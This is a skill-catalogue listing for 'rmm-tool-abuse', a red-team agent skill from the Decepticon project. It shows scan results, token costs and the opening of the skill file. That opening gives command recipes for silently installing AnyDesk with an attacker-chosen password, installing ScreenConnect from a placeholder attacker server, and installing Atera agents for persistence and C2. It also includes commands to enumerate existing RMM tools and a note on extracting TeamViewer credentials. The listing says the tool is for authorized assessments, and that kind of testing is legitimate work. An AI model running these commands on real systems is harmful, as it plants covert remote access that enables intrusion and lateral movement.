Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill rmm-tool-abusegit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/rmm-tool-abuse)<a href="https://agentmods.dev/skills/purpleailab/decepticon/rmm-tool-abuse"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/rmm-tool-abuse/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/rmm-tool-abuse"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/rmm-tool-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to medium
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- medium Rogue Agent · line 131 Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
- medium Rogue Agent · line 132 Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
- medium Data Exfiltration · line 190 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00053 | $0.02986 |
| Opus 5 | $0.00026 | $0.01493 |
| Sonnet 5 | $0.00011 | $0.00597 |
| Haiku 4.5 | $0.00005 | $0.00299 |
Grade C, and why
rmm-tool-abuse scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Harvests environment variableshighData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
# TeamViewer — extract credentials from registry/config Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sLo anydesk.exe "https://download.anydesk.com/AnyDesk.exe" How it starts
The opening of the file, as written. The whole thing — 286 lines — stays where its author put it; the contents beside it link to each section on GitHub.
RMM Tool Abuse
Abuses legitimate Remote Monitoring and Management (RMM) software for persistence, lateral movement, and C2. RMM agents are signed binaries, trusted by EDR, allowed through firewalls, and blend with legitimate IT operations traffic. Deploying a commercial RMM agent provides full remote control without custom implants.
Quick Reference
# Deploy AnyDesk silently
curl -sLo anydesk.exe "https://download.anydesk.com/AnyDesk.exe"
anydesk.exe --install "C:\ProgramData\AnyDesk" --start-with-win --silent
echo <ATTACKER_ANYDESK_PASS> | anydesk.exe --set-password
anydesk.exe --get-id > anydesk_id.txt
# Deploy ScreenConnect silently
msiexec /i "https://<SCREENCONNECT_SERVER>/Bin/ScreenConnect.ClientSetup.msi" /qn
# Deploy Atera agent silently
msiexec /i AteraAgent.msi /qn IntegratorLogin=<ATERA_EMAIL> CompanyId=1
# Find existing RMM installations
wmic product get name,version | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja level"
reg query "HKLM\SOFTWARE" /s /f "AnyDesk" 2>nul
reg query "HKLM\SOFTWARE" /s /f "TeamViewer" 2>nul
MITRE ATT&CK Mapping
| Technique | ID | Application |
|---|---|---|
| Remote Access Software | T1219 | Deploy/abuse RMM for persistent remote access |
| Remote Services | T1021 | Lateral movement through RMM console to managed endpoints |
| Ingress Tool Transfer | T1105 | Use RMM file transfer to stage payloads |
| Signed Binary Proxy Execution | T1218 | RMM agent is vendor-signed, bypasses app allowlisting |
| Valid Accounts | T1078 | Hijack existing RMM admin credentials |
| Persistence via Service | T1543.003 | RMM agent installs as Windows service |
1. Discovery — Finding Existing RMM Installations
# Windows — enumerate installed RMM products
wmic product get name,version 2>nul | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja connectwise level action1 datto"
# Service enumeration
sc query type= service state= all | findstr /i "AnyDesk TeamViewer ScreenConnect Atera"
# Registry checks for common RMM artifacts
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v ClientID 2>nul
reg query "HKLM\SOFTWARE\AnyDesk" 2>nul
reg query "HKLM\SOFTWARE\ScreenConnect Client" 2>nul
# Process enumeration
tasklist /fi "imagename eq AnyDesk.exe" 2>nul
tasklist /fi "imagename eq TeamViewer.exe" 2>nul
tasklist /fi "imagename eq ScreenConnect.WindowsClient.exe" 2>nul
# Linux — check for RMM agents
ps aux | grep -iE 'anydesk|teamviewer|rustdesk'
find / -name "anydesk" -o -name "teamviewerd" 2>/dev/null
systemctl list-units | grep -iE 'anydesk|teamviewer'
# Network — identify RMM traffic patterns
netstat -ano | findstr "443 80 7070 5938"
# TeamViewer: ports 5938, 443 to *.teamviewer.com
# AnyDesk: port 443 to *.net.anydesk.com
# ScreenConnect: port 443 to custom server
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 286 lines · 53 tokens per session scan C 10c7521713c6
rmm-tool-abuse is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 53 tokens to every session and 2,986 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (harvests environment variables, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
interactive-dashboard
Interactive web dashboards: stock trackers, sector heatmaps, portfolio monitors — served via preview URL.
onboarding
First-time user onboarding to set up investment profile, watchlists, portfolio, and preferences.
idea-generation
Stock screening and idea generation: quantitative screens, thematic analysis, shortlist.
secretary
Workspace and research management — dispatch analyses, monitor running agents, manage workspaces and threads.
python-lib-analyzer
Analyze any Python library structure, explore modules, classes, and functions with signatures and documentation.
analyzing-windows-prefetch-with-python
Use when parse Windows Prefetch files using the windowsprefetch Python library to reconstruct application execution history, detect renamed or masquerading binaries, and identify suspicious program execution patterns. Use when working with analyzing windows prefetch with python.